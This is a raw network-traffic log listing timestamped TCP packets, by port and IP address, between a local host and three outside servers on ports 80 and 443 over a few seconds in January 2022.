Jan 14, 2022 04:59:04.600716114 CET	80	49759	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.600795031 CET	49759	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.607309103 CET	49759	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.629391909 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.629431963 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:04.629508018 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.630373955 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.630399942 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:04.663714886 CET	80	49759	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.699460983 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:04.699572086 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.704639912 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.704655886 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:04.704930067 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:04.735791922 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.753786087 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:04.753941059 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:04.754014015 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.754134893 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.754158020 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:04.754173040 CET	49760	443	192.168.2.3	185.233.81.115
Jan 14, 2022 04:59:04.754184961 CET	443	49760	185.233.81.115	192.168.2.3
Jan 14, 2022 04:59:05.101314068 CET	49761	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.157535076 CET	80	49761	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.157670975 CET	49761	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.157767057 CET	49761	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.160697937 CET	49761	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.214056015 CET	80	49761	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.216918945 CET	80	49761	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.243841887 CET	80	49761	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.244705915 CET	49761	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.244771957 CET	49761	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.300966978 CET	80	49761	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.677081108 CET	49762	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.733717918 CET	80	49762	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.733895063 CET	49762	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.733947992 CET	49762	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.733958006 CET	49762	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.789608955 CET	80	49762	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.823020935 CET	80	49762	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.823187113 CET	49762	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.823251009 CET	49762	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.857733965 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 04:59:05.877888918 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 04:59:05.878022909 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 04:59:05.878139019 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 04:59:05.878921032 CET	80	49762	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.897100925 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 04:59:05.897200108 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 04:59:05.925498962 CET	49764	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.983714104 CET	80	49764	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:05.983825922 CET	49764	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.983947992 CET	49764	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:05.983995914 CET	49764	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.039710999 CET	80	49764	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.044354916 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 04:59:06.071681976 CET	80	49764	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.071785927 CET	49764	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.071924925 CET	49764	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.129801035 CET	80	49764	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.419758081 CET	49766	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.475835085 CET	80	49766	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.475966930 CET	49766	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.476031065 CET	49766	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.476814032 CET	49766	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.532774925 CET	80	49766	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.532814026 CET	80	49766	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.579536915 CET	80	49766	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.579617977 CET	49766	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.579689980 CET	49766	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.606046915 CET	49767	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.636985064 CET	80	49766	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.662460089 CET	80	49767	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.662568092 CET	49767	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.662708044 CET	49767	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.662728071 CET	49767	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.720093012 CET	80	49767	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.748112917 CET	80	49767	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.748222113 CET	49767	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.748400927 CET	49767	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.777781010 CET	49768	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.805550098 CET	80	49767	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.836596012 CET	80	49768	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.836705923 CET	49768	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.836819887 CET	49768	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.836834908 CET	49768	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.893978119 CET	80	49768	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.922924042 CET	80	49768	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:06.923038006 CET	49768	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.923230886 CET	49768	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:06.980962038 CET	80	49768	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.219842911 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.276993036 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.277187109 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.277445078 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.343255043 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343307018 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343347073 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343388081 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343425035 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343425035 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.343480110 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.343822956 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343867064 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343894005 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.343903065 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343944073 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.343959093 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.343983889 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.344039917 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.399765968 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.399827003 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.399888992 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.399916887 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.399928093 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.399969101 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400013924 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400023937 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.400060892 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400103092 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400116920 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.400144100 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400187016 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400187969 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.400226116 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400263071 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400273085 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.400304079 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400325060 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.400341034 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400382042 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400413036 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.400422096 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400461912 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400501013 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400518894 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.400540113 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400578022 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.400580883 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.400640011 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.458544970 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458590031 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458631992 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458651066 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.458673000 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458713055 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458738089 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.458767891 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458807945 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458827019 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.458849907 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458889961 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458926916 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458930969 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.458966017 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.458981991 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459006071 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459043026 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459062099 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459081888 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459120989 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459134102 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459160089 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459198952 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459218025 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459235907 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459292889 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459299088 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459338903 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459376097 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459394932 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459414005 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459453106 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459470034 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459507942 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459554911 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459562063 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459592104 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459630966 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459646940 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459675074 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459717989 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459734917 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459758043 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459796906 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459811926 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459839106 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459878922 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459894896 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459916115 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459954977 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.459969997 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.459991932 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.460031033 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.460047007 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.460068941 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.460108042 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.460125923 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.460149050 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.460203886 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517009020 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517060041 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517101049 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517142057 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517184019 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517210960 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517221928 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517240047 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517261028 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517302036 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517343998 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517343998 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517381907 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517398119 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517422915 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517451048 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517462015 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517501116 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517530918 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517539978 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517577887 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517602921 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517617941 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517657042 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517693996 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517719030 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517734051 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517765999 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517774105 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517811060 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517872095 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517879963 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517924070 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517944098 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.517960072 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.517999887 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518040895 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518063068 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518078089 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518107891 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518116951 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518160105 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518198013 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518222094 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518237114 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518271923 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518275023 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518313885 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518332958 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518353939 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518390894 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518429995 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518449068 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518469095 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518497944 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518506050 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518544912 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518583059 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518605947 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518620968 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518647909 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518661022 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518697977 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518737078 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518759012 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518775940 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518810034 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518812895 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518856049 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.518873930 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.518893957 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.519263983 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.576941967 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.576998949 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577042103 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577080011 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577119112 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577140093 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577157974 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577171087 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577197075 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577235937 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577265024 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577275038 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577301979 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577313900 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577354908 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577392101 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577414989 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577430964 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577456951 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577470064 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577507019 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577544928 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577562094 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577584028 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577599049 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577622890 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577662945 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577699900 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577717066 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577739000 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577755928 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577776909 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577814102 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577872992 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577884912 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577927113 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.577940941 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.577963114 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578002930 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578042030 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578058004 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578078985 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578095913 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578119993 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578159094 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578196049 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578216076 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578234911 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578257084 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578274012 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578314066 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578355074 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578371048 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578392029 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578411102 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578429937 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578469992 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578506947 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578536034 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578546047 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578574896 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578587055 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578625917 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578665972 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578680992 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578702927 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578717947 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578742027 CET	80	49769	94.142.143.91	192.168.2.3
